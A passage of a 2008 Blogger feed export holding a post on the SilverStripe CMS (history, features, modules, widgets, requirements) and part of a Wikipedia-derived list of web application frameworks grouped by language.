target="_blank" href="http://en.wikipedia.org/wiki/Markup_language" title="Markup language"&gt;markup&lt;/a&gt;;  allowing for higher, &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Semantic_HTML" title="Semantic HTML"&gt;semantic&lt;/a&gt; standards of &lt;a target="_blank" href="http://en.wikipedia.org/wiki/XHTML" title="XHTML"&gt;XHTML&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;  SilverStripe is released under  the terms of the &lt;a target="_blank" href="http://en.wikipedia.org/wiki/BSD_Licence" title="BSD Licence"&gt;BSD Licence&lt;/a&gt;. An abundance of documentation is available  from the &lt;a target="_blank" href="http://help.silverstripe.com/" title="http://help.silverstripe.com/"&gt;SilverStripe help website&lt;/a&gt; and &lt;a target="_blank" href="http://doc.silverstripe.com/doku.php" title="http://doc.silverstripe.com/doku.php"&gt;wiki&lt;/a&gt;. An online demonstration  of the CMS is located at the &lt;a target="_blank" href="http://demo.silverstripe.com" title="http://demo.silverstripe.com"&gt;SilverStripe demo website&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;History &lt;/h2&gt;&lt;p&gt;Prior to SilverStripe 2.x, the  CMS was commercially available under a proprietary license. Development efforts  for SilverStripe 2.X started in late 2005, as a complete overhaul to take advantage of &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Object-oriented_programming" title="Object-oriented programming"&gt;object orientation&lt;/a&gt; and new features in &lt;a target="_blank" href="http://en.wikipedia.org/wiki/PHP" title="PHP"&gt;PHP5&lt;/a&gt;. On 3 February 2007, SilverStripe  2.0.0 was released publicly as &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Free_and_open_source_software" title="Free and open source software"&gt;free and open source software&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;  Motivations and reasoning for  moving towards an &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Open_source_software_development" title="Open source software development"&gt;open source development model&lt;/a&gt; were  the anticipated results of greater exposure, higher quality code and community  contributions&lt;a target="_blank" href="http://en.wikipedia.org/wiki/SilverStripe#cite_note-1#cite_note-1" title=""&gt;&lt;/a&gt;.&lt;br&gt;    In March 2007, SilverStripe was  selected for the &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Google_Summer_of_Code" title="Google Summer of Code"&gt;Google Summer of Code&lt;/a&gt; programme&lt;a target="_blank" href="http://en.wikipedia.org/wiki/SilverStripe#cite_note-3#cite_note-3" title=""&gt;&lt;/a&gt;. The contributions of the students who participated in  the programme ultimately resulted in the 2.2 release of SilverStripe&lt;a target="_blank" href="http://en.wikipedia.org/wiki/SilverStripe#cite_note-4#cite_note-4" title=""&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;  On 29 November 2007, SilverStripe  announced they would be participating in the &lt;a target="_blank" href="http://code.google.com/opensource/ghop/2007-8/" title="http://code.google.com/opensource/ghop/2007-8/"&gt;Google Highly Open  Participation&lt;/a&gt; (GHOP) contest&lt;a target="_blank" href="http://en.wikipedia.org/wiki/SilverStripe#cite_note-5#cite_note-5" title=""&gt;&lt;/a&gt;. This let to a proliferation of themes, translations and  widgets that broadened the system.&lt;/p&gt;&lt;h2&gt;Features and  Add-ons &lt;/h2&gt;&lt;p&gt;Notable features include multiple  methods of organising navigation through &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Folksonomy" title="Folksonomy"&gt;folksonomy&lt;/a&gt;,  a flexible data object model, multiple templates per page, a separate  &amp;quot;Draft site&amp;quot; and &amp;quot;Published site&amp;quot; through staging content, &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Digital_asset_management" title="Digital asset management"&gt;asset management&lt;/a&gt;, &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Image_scaling" title="Image scaling"&gt;image  resizing&lt;/a&gt;, &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Software_versioning" title="Software versioning"&gt;versioning control&lt;/a&gt;, search engine friendly URLS  with &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Meta-data" title="Meta-data"&gt;meta-data&lt;/a&gt;,  automatic &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Sitemap" title="Sitemap"&gt;sitemap&lt;/a&gt; generation, &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Full_text_search" title="Full text search"&gt;full text search&lt;/a&gt; and &lt;a target="_blank" href="http://en.wikipedia.org/wiki/RSS" title="RSS"&gt;RSS feeds&lt;/a&gt;. SilverStripe  supports &lt;a target="_blank" href="http://en.wikipedia.org/wiki/UTF-8" title="UTF-8"&gt;UTF-8&lt;/a&gt; and  the &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Internationalisation" title="Internationalisation"&gt;internationalisation&lt;/a&gt; of character sets; the CMS  is currently available in French, German, Spanish, Chinese, Croatian, Dutch,  Polish and Portuguese.&lt;/p&gt;&lt;h3&gt;Modules &lt;/h3&gt;&lt;p&gt;The highly modular nature of  SilverStripe has resulted in the creation of numerous pre-build modules that  extend the core functionality of the CMS. A list of available &lt;a target="_blank" href="http://www.silverstripe.com/modules" title="http://www.silverstripe.com/modules"&gt;modules&lt;/a&gt; is viewable below:&lt;/p&gt;&lt;ul type="disc"&gt;  &lt;li&gt;Blog &lt;/li&gt;  &lt;li&gt;E-commerce &lt;/li&gt;  &lt;li&gt;Embargo/expiry &lt;/li&gt;  &lt;li&gt;External Authentication (&lt;a target="_blank" href="http://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol" title="Lightweight Directory Access Protocol"&gt;LDAP&lt;/a&gt;, &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Active_Directory" title="Active Directory"&gt;AD&lt;/a&gt;, etc) &lt;/li&gt;  &lt;li&gt;Flickr Gallery &lt;/li&gt;  &lt;li&gt;Forum &lt;/li&gt;  &lt;li&gt;Gallery &lt;/li&gt;  &lt;li&gt;Maps &lt;/li&gt;  &lt;li&gt;Technorati &lt;/li&gt;  &lt;li&gt;Youtube Gallery &lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Widgets &lt;/h3&gt;&lt;p&gt;&lt;a target="_blank" href="http://silverstripe.com/widgets/" title="http://silverstripe.com/widgets/"&gt;Widgets&lt;/a&gt; are small pieces of useful functionality that can be instantly &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Drag-and-drop" title="Drag-and-drop"&gt;dragged  and dropped&lt;/a&gt; into a &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Website" title="Website"&gt;website&lt;/a&gt;. A list of available modules is viewable below:&lt;/p&gt;&lt;ul type="disc"&gt;  &lt;li&gt;Built-in widgets for the blog module &lt;/li&gt;  &lt;li&gt;Countdown &lt;/li&gt;  &lt;li&gt;Del.icio.us &lt;/li&gt;  &lt;li&gt;Digg &lt;/li&gt;  &lt;li&gt;Featured Video &lt;/li&gt;  &lt;li&gt;Feedburner &lt;/li&gt;  &lt;li&gt;Feedburner Email Subscription &lt;/li&gt;  &lt;li&gt;Google Adsense &lt;/li&gt;  &lt;li&gt;Google Custom Search &lt;/li&gt;  &lt;li&gt;IMStatus &lt;/li&gt;  &lt;li&gt;LanguageChooser &lt;/li&gt;  &lt;li&gt;last.fm &lt;/li&gt;  &lt;li&gt;Links &lt;/li&gt;  &lt;li&gt;NASA image of the day &lt;/li&gt;  &lt;li&gt;New Users &lt;/li&gt;  &lt;li&gt;Ohloh contribution &lt;/li&gt;  &lt;li&gt;PayPal donation &lt;/li&gt;  &lt;li&gt;Popular Blog Posts &lt;/li&gt;  &lt;li&gt;Recent Page Comments &lt;/li&gt;  &lt;li&gt;Time &lt;/li&gt;  &lt;li&gt;TwitterStatus &lt;/li&gt;  &lt;li&gt;WoW Character &lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Themes &lt;/h3&gt;&lt;p&gt;The SilverStripe &lt;a target="_blank" href="http://www.silverstripe.com/themes" title="http://www.silverstripe.com/themes"&gt;themes directory&lt;/a&gt; provides a  number of community-contributed, freely available themes; providing developers  and website owners with the capability to instantly modify the aesthetics of  their SilverStripe website.&lt;/p&gt;&lt;h3&gt;Software  Requirements &lt;/h3&gt;&lt;p&gt;SilverStripe is a &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Web_application" title="Web application"&gt;web  application&lt;/a&gt;, requiring a compatible HTTP server and SQL database. As of  version 2.2.0 (28 November 2007), the requirements for SilverStripe are as follows:&lt;/p&gt;&lt;ul type="disc"&gt;  &lt;li&gt;&lt;a target="_blank" href="http://en.wikipedia.org/wiki/Apache_HTTP_Server" title="Apache HTTP Server"&gt;Apache&lt;/a&gt; v1.3.19+ or &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Lighttpd" title="Lighttpd"&gt;Lighttpd&lt;/a&gt; with &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Rewrite_engine" title="Rewrite engine"&gt;mod_rewrite&lt;/a&gt; support &lt;/li&gt;  &lt;li&gt;&lt;a target="_blank" href="http://en.wikipedia.org/wiki/MySQL" title="MySQL"&gt;MySQL&lt;/a&gt; v4.1.X+ &lt;/li&gt;  &lt;li&gt;&lt;a target="_blank" href="http://en.wikipedia.org/wiki/PHP" title="PHP"&gt;PHP&lt;/a&gt; 5.2+ with &lt;a target="_blank" href="http://en.wikipedia.org/wiki/MySQL" title="MySQL"&gt;MySQL&lt;/a&gt;, &lt;a target="_blank" href="http://en.wikipedia.org/wiki/GD2" title="GD2"&gt;GD2&lt;/a&gt; and &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Zlib" title="Zlib"&gt;Zlib&lt;/a&gt; support &lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-878556670305645000?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/878556670305645000/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=878556670305645000' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/878556670305645000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/878556670305645000'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/silverstripe.html' title='SilverStripe'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-8436629373833583631</id><published>2008-05-20T16:46:00.003+05:30</published><updated>2008-05-20T16:51:17.858+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Frameworks'/><title type='text'>List of web application frameworks</title><content type='html'>&lt;p id="siteSub"&gt;This is a list of notable &lt;A title="Web application framework" href="http://en.wikipedia.org/wiki/Web_application_framework"&gt;web application frameworks&lt;/A&gt;, used for   creating &lt;A title="Web application" href="http://en.wikipedia.org/wiki/Web_application"&gt;web   applications&lt;/A&gt;.&lt;/p&gt;&lt;h3&gt;Client-side&lt;/h3&gt;&lt;h2&gt;&lt;A title="ActionScript" href="http://en.wikipedia.org/wiki/ActionScript"&gt;ActionScript&lt;/A&gt;&lt;/h2&gt;&lt;UL&gt;&lt;LI&gt;&lt;A title="Cairngorm (Flex framework)" href="http://en.wikipedia.org/wiki/Cairngorm_%28Flex_framework%29"&gt;Cairngorm&lt;/A&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;h2&gt;&lt;A title="JavaScript" href="http://en.wikipedia.org/wiki/JavaScript"&gt;JavaScript&lt;/A&gt;&lt;/h2&gt;&lt;DL&gt;&lt;DD&gt;&lt;em&gt;Further information: &lt;A title="JavaScript library" href="http://en.wikipedia.org/wiki/JavaScript_library"&gt;JavaScript library&lt;/A&gt;&lt;/em&gt; &lt;/DD&gt;&lt;/DL&gt;&lt;UL&gt;&lt;LI&gt;&lt;A title="Backbase" href="http://en.wikipedia.org/wiki/Backbase"&gt;Backbase&lt;/A&gt;&lt;LI&gt;&lt;A title="Clean AJAX" href="http://en.wikipedia.org/wiki/Clean_AJAX"&gt;Clean AJAX&lt;/A&gt;&lt;LI&gt;&lt;A title="Dojo Toolkit" href="http://en.wikipedia.org/wiki/Dojo_Toolkit"&gt;Dojo Toolkit&lt;/A&gt;&lt;LI&gt;&lt;A title="Echo (framework)" href="http://en.wikipedia.org/wiki/Echo_%28framework%29"&gt;Echo&lt;/A&gt;&lt;LI&gt;&lt;A title="Ext (javascript library)" href="http://en.wikipedia.org/wiki/Ext_%28javascript_library%29"&gt;Ext&lt;/A&gt;&lt;LI&gt;&lt;A title="JQuery" href="http://en.wikipedia.org/wiki/JQuery"&gt;JQuery&lt;/A&gt;&lt;LI&gt;&lt;A title="Microsoft AJAX Library" href="http://en.wikipedia.org/wiki/Microsoft_AJAX_Library"&gt;Microsoft AJAX Library&lt;/A&gt;&lt;LI&gt;&lt;A title="Mochikit" href="http://en.wikipedia.org/wiki/Mochikit"&gt;Mochikit&lt;/A&gt;&lt;LI&gt;&lt;A title="MooTools" href="http://en.wikipedia.org/wiki/MooTools"&gt;MooTools&lt;/A&gt;&lt;LI&gt;&lt;A title="Morfik" href="http://en.wikipedia.org/wiki/Morfik"&gt;Morfik&lt;/A&gt;, server side and client side.     &lt;LI&gt;&lt;A title="OpenLink AJAX Toolkit" href="http://en.wikipedia.org/wiki/OpenLink_AJAX_Toolkit"&gt;OpenLink   AJAX Toolkit&lt;/A&gt;&lt;LI&gt;&lt;A title="Prototype JavaScript Framework" href="http://en.wikipedia.org/wiki/Prototype_JavaScript_Framework"&gt;Prototype JavaScript Framework&lt;/A&gt;&lt;LI&gt;&lt;A title="Qooxdoo" href="http://en.wikipedia.org/wiki/Qooxdoo"&gt;qooxdoo&lt;/A&gt;&lt;LI&gt;&lt;A title="Rialto Toolkit" href="http://en.wikipedia.org/wiki/Rialto_Toolkit"&gt;Rialto Toolkit&lt;/A&gt;&lt;LI&gt;&lt;A title="Rico (Ajax)" href="http://en.wikipedia.org/wiki/Rico_%28Ajax%29"&gt;Rico&lt;/A&gt;&lt;LI&gt;&lt;A title="Script.aculo.us" href="http://en.wikipedia.org/wiki/Script.aculo.us"&gt;Script.aculo.us&lt;/A&gt;&lt;LI&gt;&lt;A title="SmartClient" href="http://en.wikipedia.org/wiki/SmartClient"&gt;SmartClient&lt;/A&gt;&lt;LI&gt;&lt;A title="Spry framework" href="http://en.wikipedia.org/wiki/Spry_framework"&gt;Spry framework&lt;/A&gt;&lt;LI&gt;&lt;A title="WaveMaker Ajax framework (page does not exist)" href="http://en.wikipedia.org/w/index.php?title=WaveMaker_Ajax_framework&amp;action=edit&amp;redlink=1"&gt;WaveMaker   Ajax framework&lt;/A&gt;&lt;LI&gt;&lt;A title="Yahoo! UI Library" href="http://en.wikipedia.org/wiki/Yahoo%21_UI_Library"&gt;Yahoo! UI   Library&lt;/A&gt;&lt;LI&gt;&lt;A title="Comparison of JavaScript frameworks" href="http://en.wikipedia.org/wiki/Comparison_of_JavaScript_frameworks"&gt;Comparison of JavaScript   frameworks&lt;/A&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;h3&gt;Server-side&lt;/h3&gt;&lt;h2&gt;&lt;A title="PHP" href="http://en.wikipedia.org/wiki/PHP"&gt;PHP&lt;/A&gt;&lt;/h2&gt;&lt;UL&gt;&lt;LI&gt;&lt;A title="Akelos PHP Framework" href="http://en.wikipedia.org/wiki/Akelos_PHP_Framework"&gt;Akelos PHP   Framework&lt;/A&gt;&lt;LI&gt;&lt;A title="CakePHP" href="http://en.wikipedia.org/wiki/CakePHP"&gt;CakePHP&lt;/A&gt;&lt;LI&gt;&lt;A title="Canvas Framework" href="http://en.wikipedia.org/wiki/Canvas_Framework"&gt;Canvas Framework&lt;/A&gt;&lt;LI&gt;&lt;A title="Chisimba" href="http://en.wikipedia.org/wiki/Chisimba"&gt;Chisimba&lt;/A&gt;&lt;LI&gt;&lt;A title="CodeIgniter" href="http://en.wikipedia.org/wiki/CodeIgniter"&gt;CodeIgniter&lt;/A&gt;&lt;LI&gt;&lt;A title="Epesi" href="http://en.wikipedia.org/wiki/Epesi"&gt;epesi&lt;/A&gt;&lt;LI&gt;&lt;A title="Fuse Framework" href="http://en.wikipedia.org/wiki/Fuse_Framework"&gt;FUSE&lt;/A&gt;&lt;LI&gt;&lt;A title="Horde (software)" href="http://en.wikipedia.org/wiki/Horde_%28software%29"&gt;Horde&lt;/A&gt;&lt;LI&gt;&lt;A title="Joomla!" href="http://en.wikipedia.org/wiki/Joomla%21"&gt;Joomla!&lt;/A&gt;&lt;LI&gt;&lt;A title="Kohana (Web Framework)" href="http://en.wikipedia.org/wiki/Kohana_%28Web_Framework%29"&gt;Kohana&lt;/A&gt;&lt;LI&gt;&lt;A title="MODx" href="http://en.wikipedia.org/wiki/MODx"&gt;MODx&lt;/A&gt;&lt;LI&gt;&lt;A title="PHP For Applications" href="http://en.wikipedia.org/wiki/PHP_For_Applications"&gt;PHP For   Applications&lt;/A&gt;&lt;LI&gt;&lt;A title="PHPOpenbiz" href="http://en.wikipedia.org/wiki/PHPOpenbiz"&gt;PHPOpenbiz&lt;/A&gt;&lt;LI&gt;&lt;A title="PRADO" href="http://en.wikipedia.org/wiki/PRADO"&gt;PRADO&lt;/A&gt;&lt;LI&gt;&lt;A title="Qcodo" href="http://en.wikipedia.org/wiki/Qcodo"&gt;Qcodo&lt;/A&gt;&lt;LI&gt;&lt;A title="QPHP Framework" href="http://en.wikipedia.org/wiki/QPHP_Framework"&gt;QPHP Framework&lt;/A&gt;&lt;LI&gt;&lt;A title="Seagull PHP Framework" href="http://en.wikipedia.org/wiki/Seagull_PHP_Framework"&gt;Seagull   PHP Framework&lt;/A&gt;&lt;LI&gt;&lt;A title="SilverStripe" href="http://en.wikipedia.org/wiki/SilverStripe"&gt;SilverStripe&lt;/A&gt;&lt;LI&gt;&lt;A title="Simplicity PHP framework" href="http://en.wikipedia.org/wiki/Simplicity_PHP_framework"&gt;Simplicity PHP framework&lt;/A&gt;&lt;LI&gt;&lt;A title="Symfony" href="http://en.wikipedia.org/wiki/Symfony"&gt;Symfony&lt;/A&gt;&lt;LI&gt;&lt;A title="Tigermouse" href="http://en.wikipedia.org/wiki/Tigermouse"&gt;Tigermouse&lt;/A&gt;&lt;LI&gt;&lt;A title="TYPO3" href="http://en.wikipedia.org/wiki/TYPO3"&gt;TYPO3&lt;/A&gt;&lt;LI&gt;&lt;A title="Zend Framework" href="http://en.wikipedia.org/wiki/Zend_Framework"&gt;Zend Framework&lt;/A&gt;&lt;LI&gt;&lt;A title="Zoop Framework" href="http://en.wikipedia.org/wiki/Zoop_Framework"&gt;Zoop Framework&lt;/A&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;h2&gt;&lt;a title="Server-side JavaScript" href="http://en.wikipedia.org/wiki/Server-side_JavaScript"&gt;JavaScript (server-side)&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;  &lt;li&gt;&lt;a title="AppJet" href="http://en.wikipedia.org/wiki/AppJet"&gt;AppJet&lt;/a&gt;  &lt;li&gt;&lt;a title="Axiom stack" href="http://en.wikipedia.org/wiki/Axiom_stack"&gt;Axiom stack&lt;/a&gt;  &lt;li&gt;&lt;a title="Helma Object Publisher" href="http://en.wikipedia.org/wiki/Helma_Object_Publisher"&gt;Helma   Object Publisher&lt;/a&gt;  &lt;li&gt;&lt;a title="Morfik" href="http://en.wikipedia.org/wiki/Morfik"&gt;Morfik&lt;/a&gt;, server side and client side. &lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;A title="Ruby (programming language)" href="http://en.wikipedia.org/wiki/Ruby_%28programming_language%29"&gt;Ruby&lt;/A&gt;&lt;/h2&gt;&lt;UL&gt;&lt;LI&gt;&lt;A title="Camping (microframework)" href="http://en.wikipedia.org/wiki/Camping_%28microframework%29"&gt;Camping (microframework)&lt;/A&gt;&lt;LI&gt;&lt;A title="Nitro (web framework)" href="http://en.wikipedia.org/wiki/Nitro_%28web_framework%29"&gt;Nitro&lt;/A&gt;&lt;LI&gt;&lt;A title="IOWA (web framework)" href="http://en.wikipedia.org/wiki/IOWA_%28web_framework%29"&gt;IOWA&lt;/A&gt;&lt;LI&gt;&lt;A title="Ramaze (web framework)" href="http://en.wikipedia.org/wiki/Ramaze_%28web_framework%29"&gt;Ramaze&lt;/A&gt;&lt;LI&gt;&lt;A title="Cerise (web framework)" href="http://en.wikipedia.org/wiki/Cerise_%28web_framework%29"&gt;Cerise&lt;/A&gt;&lt;LI&gt;&lt;A title="Ruby on Rails" href="http://en.wikipedia.org/wiki/Ruby_on_Rails"&gt;Ruby on Rails&lt;/A&gt;&lt;LI&gt;&lt;A title="Merb" href="http://en.wikipedia.org/wiki/Merb"&gt;Merb&lt;/A&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;h2&gt;&lt;A title="Perl" href="http://en.wikipedia.org/wiki/Perl"&gt;Perl&lt;/A&gt;&lt;/h2&gt;&lt;UL&gt;&lt;LI&gt;&lt;A title="Catalyst (software)" href="http://en.wikipedia.org/wiki/Catalyst_%28software%29"&gt;Catalyst&lt;/A&gt;&lt;LI&gt;&lt;A title="Interchange (software)" href="http://en.wikipedia.org/wiki/Interchange_%28software%29"&gt;Interchange&lt;/A&gt;&lt;LI&gt;&lt;A title="Maypole framework" href="http://en.wikipedia.org/wiki/Maypole_framework"&gt;Maypole&lt;/A&gt;&lt;LI&gt;&lt;A title="Mason (Perl)" href="http://en.wikipedia.org/wiki/Mason_%28Perl%29"&gt;Mason&lt;/A&gt;&lt;LI&gt;&lt;A title="WebGUI" href="http://en.wikipedia.org/wiki/WebGUI"&gt;WebGUI&lt;/A&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;h2&gt;&lt;A title="ColdFusion" href="http://en.wikipedia.org/wiki/ColdFusion"&gt;ColdFusion&lt;/A&gt;&lt;/h2&gt;&lt;UL&gt;&lt;LI&gt;&lt;A title="ColdFusion on Wheels" href="http://en.wikipedia.org/wiki/ColdFusion_on_Wheels"&gt;ColdFusion   on Wheels&lt;/A&gt;&lt;LI&gt;&lt;A title="ColdSpring" href="http://en.wikipedia.org/wiki/ColdSpring"&gt;ColdSpring&lt;/A&gt;&lt;LI&gt;&lt;A title="Fusebox (programming)" href="http://en.wikipedia.org/wiki/Fusebox_%28programming%29"&gt;Fusebox&lt;/A&gt;&lt;LI&gt;&lt;A title="Mach-II" href="http://en.wikipedia.org/wiki/Mach-II"&gt;Mach-II&lt;/A&gt;&lt;LI&gt;&lt;A title="Model-Glue" href="http://en.wikipedia.org/wiki/Model-Glue"&gt;Model-Glue&lt;/A&gt;&lt;LI&gt;&lt;A title="OnTap" href="http://en.wikipedia.org/wiki/OnTap"&gt;onTap&lt;/A&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;h2&gt;&lt;A title="ASP" href="http://en.wikipedia.org/wiki/ASP"&gt;ASP&lt;/A&gt;&lt;/h2&gt;&lt;UL&gt;&lt;LI&gt;&lt;A title="CLASP" href="http://en.wikipedia.org/wiki/CLASP"&gt;CLASP&lt;/A&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;h2&gt;&lt;A title="ASP.NET" href="http://en.wikipedia.org/wiki/ASP.NET"&gt;ASP.NET&lt;/A&gt;&lt;/h2&gt;&lt;UL&gt;&lt;LI&gt;&lt;A title="ASP.NET MVC Framework" href="http://en.wikipedia.org/wiki/ASP.NET_MVC_Framework"&gt;ASP.NET   MVC Framework&lt;/A&gt;&lt;LI&gt;&lt;A title="Base One Foundation Component Library" href="http://en.wikipedia.org/wiki/Base_One_Foundation_Component_Library"&gt;Base One Foundation Component   Library&lt;/A&gt;&lt;LI&gt;&lt;A title="Component-based Scalable Logical Architecture" href="http://en.wikipedia.org/wiki/Component-based_Scalable_Logical_Architecture"&gt;CSLA&lt;/A&gt;&lt;LI&gt;&lt;A title="DotNetNuke" href="http://en.wikipedia.org/wiki/DotNetNuke"&gt;DotNetNuke&lt;/A&gt;&lt;LI&gt;&lt;A title="Monorail (.Net)" href="http://en.wikipedia.org/wiki/Monorail_%28.Net%29"&gt;MonoRail&lt;/A&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;h2&gt;&lt;A title="Java (programming language)" href="http://en.wikipedia.org/wiki/Java_%28programming_language%29"&gt;Java&lt;/A&gt;&lt;/h2&gt;&lt;UL&gt;&lt;LI&gt;&lt;A title="Apache Cocoon" href="http://en.wikipedia.org/wiki/Apache_Cocoon"&gt;Apache Cocoon&lt;/A&gt;&lt;LI&gt;&lt;A title="Apache Struts" href="http://en.wikipedia.org/wiki/Apache_Struts"&gt;Apache Struts&lt;/A&gt;&lt;LI&gt;&lt;A title="AppFuse" href="http://en.wikipedia.org/wiki/AppFuse"&gt;AppFuse&lt;/A&gt;&lt;LI&gt;&lt;A title="Aranea framework" href="http://en.wikipedia.org/wiki/Aranea_framework"&gt;Aranea   framework&lt;/A&gt;&lt;LI&gt;&lt;A title="Backbase" href="http://en.wikipedia.org/wiki/Backbase"&gt;Backbase Enterprise Ajax for JSF /   Struts / Spring&lt;/A&gt;&lt;LI&gt;&lt;A title="Click Framework" href="http://en.wikipedia.org/wiki/Click_Framework"&gt;Click Framework&lt;/A&gt;&lt;LI&gt;&lt;A title="Flexive" href="http://en.wikipedia.org/wiki/Flexive"&gt;Flexive&lt;/A&gt;&lt;LI&gt;&lt;A title="Google Web Toolkit" href="http://en.wikipedia.org/wiki/Google_Web_Toolkit"&gt;Google Web   Toolkit&lt;/A&gt;&lt;LI&gt;&lt;A title="Grails (Framework)" href="http://en.wikipedia.org/wiki/Grails_%28Framework%29"&gt;Grails   (Framework)&lt;/A&gt;&lt;LI&gt;&lt;A title="Hamlets" href="http://en.wikipedia.org/wiki/Hamlets"&gt;Hamlets&lt;/A&gt;&lt;LI&gt;&lt;A title="ICEfaces" href="http://en.wikipedia.org/wiki/ICEfaces"&gt;ICEfaces&lt;/A&gt;&lt;LI&gt;&lt;A title="IT Mill Toolkit" href="http://en.wikipedia.org/wiki/IT_Mill_Toolkit"&gt;IT Mill Toolkit&lt;/A&gt;&lt;LI&gt;&lt;A title="ItsNat" href="http://en.wikipedia.org/wiki/ItsNat"&gt;ItsNat&lt;/A&gt;&lt;LI&gt;&lt;A title="JavaServer Faces" href="http://en.wikipedia.org/wiki/JavaServer_Faces"&gt;JavaServer   Faces&lt;/A&gt;&lt;LI&gt;&lt;A title="JBoss Seam" href="http://en.wikipedia.org/wiki/JBoss_Seam"&gt;JBoss Seam&lt;/A&gt;&lt;LI&gt;&lt;A title="Lift (web framework)" href="http://en.wikipedia.org/wiki/Lift_%28web_framework%29"&gt;Lift   (web framework)&lt;/A&gt;&lt;LI&gt;&lt;A title="Makumba (framework)" href="http://en.wikipedia.org/wiki/Makumba_%28framework%29"&gt;Makumba&lt;/A&gt;&lt;LI&gt;&lt;A title="OpenLaszlo" href="http://en.wikipedia.org/wiki/OpenLaszlo"&gt;OpenLaszlo&lt;/A&gt;&lt;LI&gt;&lt;A title="OpenXava" href="http://en.wikipedia.org/wiki/OpenXava"&gt;OpenXava&lt;/A&gt;&lt;LI&gt;&lt;A title="Oracle ADF" href="http://en.wikipedia.org/wiki/Oracle_ADF"&gt;Oracle   ADF&lt;/A&gt;&lt;LI&gt;&lt;A title="Reasonable Server Faces" href="http://en.wikipedia.org/wiki/Reasonable_Server_Faces"&gt;Reasonable Server Faces&lt;/A&gt;&lt;LI&gt;&lt;A title="RIFE" href="http://en.wikipedia.org/wiki/RIFE"&gt;RIFE&lt;/A&gt;&lt;LI&gt;&lt;A title="Shale Framework (software)" href="http://en.wikipedia.org/wiki/Shale_Framework_%28software%29"&gt;Shale Framework (software)&lt;/A&gt;&lt;LI&gt;&lt;A title="SmartClient" href="http://en.wikipedia.org/wiki/SmartClient"&gt;SmartClient&lt;/A&gt;&lt;LI&gt;&lt;A title="Spring Framework" href="http://en.wikipedia.org/wiki/Spring_Framework"&gt;Spring   Framework&lt;/A&gt;&lt;LI&gt;&lt;A title="Stripes (framework)" href="http://en.wikipedia.org/wiki/Stripes_%28framework%29"&gt;Stripes   (framework)&lt;/A&gt;&lt;LI&gt;&lt;A title="Tapestry (programming)" href="http://en.wikipedia.org/wiki/Tapestry_%28programming%29"&gt;Tapestry&lt;/A&gt;&lt;LI&gt;&lt;A title="ThinWire" href="http://en.wikipedia.org/wiki/ThinWire"&gt;ThinWire&lt;/A&gt;&lt;LI&gt;&lt;A title="WaveMaker (page does not exist)" href="http://en.wikipedia.org/w/index.php?title=WaveMaker&amp;action=edit&amp;redlink=1"&gt;WaveMaker&lt;/A&gt;&lt;LI&gt;&lt;A title="WebObjects" href="http://en.wikipedia.org/wiki/WebObjects"&gt;WebObjects&lt;/A&gt;&lt;LI&gt;&lt;A title="WebWork" href="http://en.wikipedia.org/wiki/WebWork"&gt;WebWork&lt;/A&gt;&lt;LI&gt;&lt;A title="Wicket framework" href="http://en.wikipedia.org/wiki/Wicket_framework"&gt;Wicket framework&lt;/A&gt;&lt;LI&gt;&lt;A title="ZK Framework" href="http://en.wikipedia.org/wiki/ZK_Framework"&gt;ZK Framework&lt;/A&gt;&lt;LI&gt;&lt;A title="ZTemplates" href="http://en.wikipedia.org/wiki/ZTemplates"&gt;ztemplates&lt;/A&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;h2&gt;&lt;A title="Python (programming language)" 